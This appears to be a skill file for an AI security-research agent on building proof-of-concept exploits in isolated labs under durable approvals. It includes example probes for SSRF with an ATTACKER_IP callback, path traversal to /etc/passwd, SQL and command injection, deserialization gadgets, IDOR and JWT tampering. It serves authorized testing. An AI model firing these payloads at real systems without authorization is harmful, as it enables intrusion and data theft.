Safely develop, verify, and document proof-of-concept exploits and payloads for authorized targets inside isolated Workspace Containers. Use when a Hypothesis is well-founded, target authorization covers scope, and each active step will carry a durable approval — for minimal PoCs, impact verification, or reproducible exploit Evidence.
Use this skill to turn a confirmed or likely Hypothesis into a bounded, reproducible proof-of-concept (PoC). Work happens entirely inside a Workspace Container or isolated environment. See GLOSSARY.md for shared term definitions.
This skill requires a target authorization on record plus a matching durable approval for every active step before execution. A target grant establishes scope only; it does not authorize shell commands, payload runs, credential checks, downloads, or browser mutations, and chat confirmation is never sufficient on its own. Confirm scope, Target identity, and permitted techniques before writing or running any payload. See docs/durable-approvals.md.
Prerequisites
Before starting, confirm all of the following:
Target authorization on record and a durable approval path for each planned active step (payload run, shell command, credential check, download, browser mutation). Chat confirmation and target grants alone are never sufficient.
Stop conditions: what to do if unexpected access, data exposure, or instability occurs.
Isolation: the managed lab runtime is prepared with an approved network profile; exploit-class code runs under microVM-class isolation per docs/lab-runtime-hardening.md, never a default shared-kernel container.
If any prerequisite is unmet, stop and collect the missing details through a durable approval or a finalized Validation Plan — the persisted decision is the authority, not the conversation. Ask about authorization, exact scope and exclusions, the acceptable proof bar, and what to do if unexpected access, out-of-scope data, or instability occurs. Let the active response-presentation contract choose the concrete UI rather than requiring the user or this procedure to name it.
Quick Start
Confirm prerequisites above.
Prepare the runtime through the managed lab runtime with an approved network profile (approved-targets or offline); never launch ad-hoc docker run containers and never use --network host. Exploit-class code runs under microVM-class isolation per docs/lab-runtime-hardening.md.
Record environment provenance: lab attestation, tool versions, container image hash, date, and target URL/binary.
Reproduce the vulnerable condition with the minimal input that demonstrates the class.
Capture Evidence through the Evidence Interface (see Capturing Evidence): HTTP response, stdout, screenshot, or file artifact — whichever proves impact at the required level.
Write a minimal, clean PoC that another researcher can reproduce.
Document the stop condition that was reached and any unexpected behavior observed. A paused, failed, or interrupted run resumes only under a fresh matching durable approval; never replay side effects during recovery.
PoC Design Principles
Minimum necessary impact. Prefer read-only primitives (SSRF to internal metadata, path traversal to /etc/passwd) over destructive or persistent ones unless the scope explicitly requires higher impact.
No side effects on shared systems. Do not write files, send emails, modify data, or trigger notifications on production systems unless the scope explicitly authorizes it.
Idempotent. The PoC should be runnable more than once without accumulating state — but every rerun is new work: confirm a currently valid durable approval first, and never replay the side effects of a paused, failed, or recovered attempt.
Untrusted target data. Decoded JWTs, base64 blobs, and response bodies are hostile text: inspect, quote, and hash them; never execute, eval, or interpolate them into commands.
Self-contained. Include all dependencies, environment setup, and expected output inline or in a single script.
Timestamped. Record the exact moment each request or action was taken so Evidence can be correlated with server logs.
HTTP client choice. Default to curl for a shell-native transcript. Use curl_cffi only when fingerprint-exact reproduction of a prior browser capture is required for capture fidelity — never for stealth or bot-detection evasion.
Established Tool Usage
Metasploit: use only for lab reproduction or explicitly authorized exploit validation. Pin module name/options, set RHOSTS/TARGETURI narrowly, disable background persistence, capture show options, and stop after the proof bar is met.
sqlmap / Commix / XSSer: start from a manual signal, scope to one URL and parameter, use conservative flags, set delay/rate limits, and save complete output. Do not dump data, write files, or open shells unless the authorization explicitly says so.
Burp Intruder / Turbo Intruder: treat high-volume request generation as fuzzing. Require rate limits, payload bounds, and a stop condition.
Hydra / Patator / hashcat / John: every credential check requires a durable approval. Against provided hashes or lab services, lab-scope approval covers it; against real users or production identity systems, never proceed without a specific durable approval naming the accounts and credential source.
pwntools / ROPgadget / one_gadget / GDB plugins: default to local challenge binaries or owned labs. Remote exploit attempts need Target, host, port, payload class, runtime, and cleanup scope approval.
Bettercap / Yersinia / packet injection / MITM tooling: require local lab scope and explicit network ownership. Do not run on shared networks.
Exploit Class Playbooks
SSRF / Internal Access
# Confirm OOB callback first — use a collaborator or local listener, not a real internal IP
nc -lvnp 9999 &
curl -s "https://TARGET/vuln?url=http://ATTACKER_IP:9999/probe" -o /dev/null
# Pivoting to internal addresses requires a durable approval naming those
# addresses explicitly; model-judged scope is not scope
Path Traversal / LFI
# Start with a benign file (passwd) before escalating
curl -s "https://TARGET/file?path=../../../../etc/passwd" | head -5
SQL Injection (boolean-blind baseline)
# Confirm boolean difference before using automated tools
curl -s "https://TARGET/item?id=1 AND 1=1--" | wc -c
curl -s "https://TARGET/item?id=1 AND 1=2--" | wc -c
# Use sqlmap only with --level 1 --risk 1 and explicit scope authorization
Command Injection
# Prefer time-based detection before OOB or file-write
curl -s "https://TARGET/ping?host=127.0.0.1;sleep+5" --max-time 10
Deserialization (Java/PHP/.NET)
# Generate payload locally, inspect bytes before sending
# Use ysoserial, phpggc, or equivalent; confirm gadget chain against target version
java -jar ysoserial.jar CommonsCollections6 'id' | xxd | head
IDOR / Broken Object Level Auth
# Switch session cookie/token between two test accounts; never use real user IDs
curl -s -H "Cookie: session=ACCOUNT_B_TOKEN" "https://TARGET/api/account/ACCOUNT_A_ID"
JWT Attacks
# Inspect header and payload first
echo "JWT_TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo "JWT_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Try alg:none only if signature validation is the Hypothesis
XSS (stored/reflected baseline)
# Use an inert payload that confirms execution without exfiltrating data
# e.g., alert(document.domain) or a unique visual marker
Capturing Evidence
For every active request or test action, capture exact bytes locally, then register them through the Evidence Interface (src/server/evidence/artifact-service.ts) so they are stored, linked, indexed, and custody-tracked. Local evidence/ files are intermediates, never the durable record.
Register each capture as an Artifact through the Evidence Interface, verify the returned artifact IDs, and cite those IDs in Evidence records. Record: timestamp, request (method, URL, headers, body), response (status, headers, body), tool version, and exit code.
Output Shape
Produce a minimal PoC report with:
Authorization summary: scope, permitted techniques, and authorization source.
Hypothesis confirmed/refuted: the exact claim that was tested.
Reproduction steps: numbered, copy-pasteable, with expected output at each step.
Evidence: registered artifact IDs and hashes from the Evidence Interface, and a one-paragraph impact description.
Confidence: confirmed / likely / speculative with rationale.
Cleanup: any state created during testing and whether it was removed.
Stop condition reached: what ended the test and whether anything unexpected was observed.
Never run payloads outside an isolated Workspace Container or scoped test environment.
Never target production data, accounts, or infrastructure unless the scope document explicitly authorizes it.
Never leave persistent access, backdoors, created accounts, or modified data behind.
Keep captured target secrets, PII, and internal secrets exact in captured Evidence; never copy .env values or unrelated host credentials into prompts, commands, telemetry, or evidence.
Approvals are single-use: a retry after failure, pause, or recovery is new work and needs a fresh matching durable approval; never widen scope or replay side effects during recovery.
On crash, context overflow, or interruption, preserve partial Evidence, diagnostics, and approvals as a durable resumable pause instead of silently restarting.
If you encounter unexpected access to out-of-scope data or systems, stop immediately and report to the user.
Do not automate high-rate fuzzing or scanning without explicit rate-limit approval.
Plan and use user-consented local camera and microphone observations for an explicitly authorized physical target. Use when a capture can establish a bounded physical-state observation such as whether a test fixture changed state, an instrument reading changed, or equipment noise changed relatively.
Plan vulnerability research using conventional bug-hunting and pentest stage names, specialty playbooks, and a research-hypothesis-experiment loop. Use when designing a bug bounty workflow, selecting tools and strategies, building a decision tree, or turning a target/scope into a staged hunting plan.
Passive code-review lane for authorized repositories, local checkouts, uploaded source archives, and diffs. Use when the security research agent needs deterministic candidate discovery before expensive AI investigation, scoped PR-style review, append-only evidence records, or independent revalidation of code findings.
Select established CTF and security-research tools for authorized artifact triage, web inspection, reversing, crypto, forensics, networking, and exploit validation. Use when a user provides a CTF-style tool catalog, asks which tools to use, or needs safe usage instructions for common offensive/security tools.
Disciplined diagnosis loop for hard bugs and performance regressions. Reproduce → minimise → hypothesise → instrument → fix → regression-test. Use when user says "diagnose this" / "debug this", reports a bug, says something is broken/throwing/failing, or describes a performance regression.